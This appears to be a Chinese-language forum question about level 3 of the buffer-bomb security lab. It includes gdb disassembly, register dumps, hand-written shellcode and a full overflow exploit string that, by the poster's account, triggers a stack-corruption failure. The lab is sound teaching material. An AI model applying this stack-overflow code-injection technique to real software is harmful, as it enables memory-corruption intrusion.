我正在尝试完成缓冲炸弹实验室的第3级。该任务是提供一个漏洞利用字符串,该字符串将导致getbuf将我的cookie(0x4b64b076)返回测试,而不是值1。漏洞利用代码应将cookie设置为返回值,恢复任何损坏的状态,并推送正确的返回值在堆栈上,然后执行ret指令以真正返回测试。我正在按照https://github.com/quinnliu/bufferBomb/blob/master/level3.md教程中的步骤进行操作,在该教程中说,将%esp和%ebp值设置为其原始值足以防止堆栈损坏,但这在我看来并不是真的。我收到“堆栈已损坏错误”。我还需要照顾什么?
函数test()的C代码
void test()
{
int val;
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
反汇编的测试和寄存器状态在调用getbuf()之前:
0x0804946f <+0>: push %ebp
0x08049470 <+1>: mov %esp,%ebp
0x08049472 <+3>: sub $0x18,%esp
=> 0x08049475 <+6>: call 0x80498c2 <uniqueval>
0x0804947a <+11>: mov %eax,-0x10(%ebp)
0x0804947d <+14>: call 0x8049b24 <getbuf>
0x08049482 <+19>: mov %eax,-0xc(%ebp)
0x08049485 <+22>: call 0x80498c2 <uniqueval>
0x0804948a <+27>: mov -0x10(%ebp),%edx
0x0804948d <+30>: cmp %edx,%eax
0x0804948f <+32>: je 0x80494a3 <test+52>
0x08049491 <+34>: sub $0xc,%esp
0x08049494 <+37>: push $0x804b0ac
0x08049499 <+42>: call 0x8049120 <puts@plt>
0x0804949e <+47>: add $0x10,%esp
0x080494a1 <+50>: jmp 0x80494e4 <test+117>
0x080494a3 <+52>: mov -0xc(%ebp),%edx
0x080494a6 <+55>: mov 0x804e120,%eax
0x080494ab <+60>: cmp %eax,%edx
0x080494ad <+62>: jne 0x80494d1 <test+98>
0x080494af <+64>: sub $0x8,%esp
0x080494b2 <+67>: pushl -0xc(%ebp)
0x080494b5 <+70>: push $0x804b0d5
0x080494ba <+75>: call 0x8049070 <printf@plt>
0x080494bf <+80>: add $0x10,%esp
0x080494c2 <+83>: sub $0xc,%esp
0x080494c5 <+86>: push $0x3
0x080494c7 <+88>: call 0x8049ca1 <validate>
0x080494cc <+93>: add $0x10,%esp
0x080494cf <+96>: jmp 0x80494e4 <test+117>
0x080494d1 <+98>: sub $0x8,%esp
0x080494d4 <+101>: pushl -0xc(%ebp)
0x080494d7 <+104>: push $0x804b0f2
0x080494dc <+109>: call 0x8049070 <printf@plt>
0x080494e1 <+114>: add $0x10,%esp
0x080494e4 <+117>: nop
0x080494e5 <+118>: leave
0x080494e6 <+119>: ret
(gdb) i r
eax 0xc 12
ecx 0x0 0
edx 0xf7f91830 -134670288
ebx 0xffffc8c0 -14144
esp 0x55682ee8 0x55682ee8 <_reserved+1036008>
ebp 0x55682f00 0x55682f00 <_reserved+1036032>
反汇编的getbuf():
(gdb) disas
Dump of assembler code for function getbuf:
0x08049b24 <+0>: push %ebp
0x08049b25 <+1>: mov %esp,%ebp
0x08049b27 <+3>: sub $0x28,%esp
=> 0x08049b2a <+6>: sub $0xc,%esp
0x08049b2d <+9>: lea -0x28(%ebp),%eax
0x08049b30 <+12>: push %eax
0x08049b31 <+13>: call 0x8049603 <Gets>
0x08049b36 <+18>: add $0x10,%esp
0x08049b39 <+21>: mov $0x1,%eax
0x08049b3e <+26>: leave
0x08049b3f <+27>: ret
getbuf()将返回值(1)存储在%eax regsiter中,因此在漏洞利用字符串中,我将cookie的值移至%eax:
movl $0x4b64b076 , %eax #store cookie in %eax
movl $0x55682f00 , %ebp #restore the value of %ebp
pushl $0x08049482 #address of the instruction that comes right after getbuf() in test()
ret
[aasadova@ buflab-handout]$ objdump -d assemblylevel3.o
assemblylevel3.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 76 b0 64 4b mov $0x4b64b076,%eax
5: bd 00 2f 68 55 mov $0x55682f00,%ebp
a: 68 82 94 04 08 push $0x8049482
f: c3 ret
[漏洞利用字符串如下:“ 61” x32,“ BB” x4,“ CC” x4,“ DD” x4,“ e8 2e 68 55”,“ b8 76 b0 64 4b bd 00 2f 68 55 68 82 94 04 08 c3“,其中e8 2e 68 55是Little Endian中的初始%esp内容。它正确设置eip(指向汇编代码中下一条指令的第3行的指针;正确更新%eax,%esp和%ebp寄存器)注册getbuf()调用之后
(gdb) i r
eax 0x4b64b076 1264889974
ecx 0x3 3
edx 0x40 64
ebx 0xffffc8c0 -14144
esp 0x55682ee8 0x55682ee8 <_reserved+1036008>
ebp 0x55682f00 0x55682f00 <_reserved+1036032>
esi 0xf7f90000 -134676480
edi 0x0 0
eip 0x8049482 0x8049482 <test+19>
但是一旦到达0x0804949e <+47>
指令,它将返回Type string:Sabotaged!: the stack has been corrupted
,其寄存器状态如下:
(gdb) i r
eax 0x40ccf833 1087174707
ecx 0xf7f90074 -134676364
edx 0x82685568 -2107091608
ebx 0xffffc8c0 -14144
esp 0x55682ed8 0x55682ed8 <_reserved+1035992>
ebp 0x55682f00 0x55682f00 <_reserved+1036032>
esi 0xf7f90000 -134676480
edi 0x0 0
eip 0x8049499 0x8049499 <test+42>
我遇到了同样的问题。你知道吗?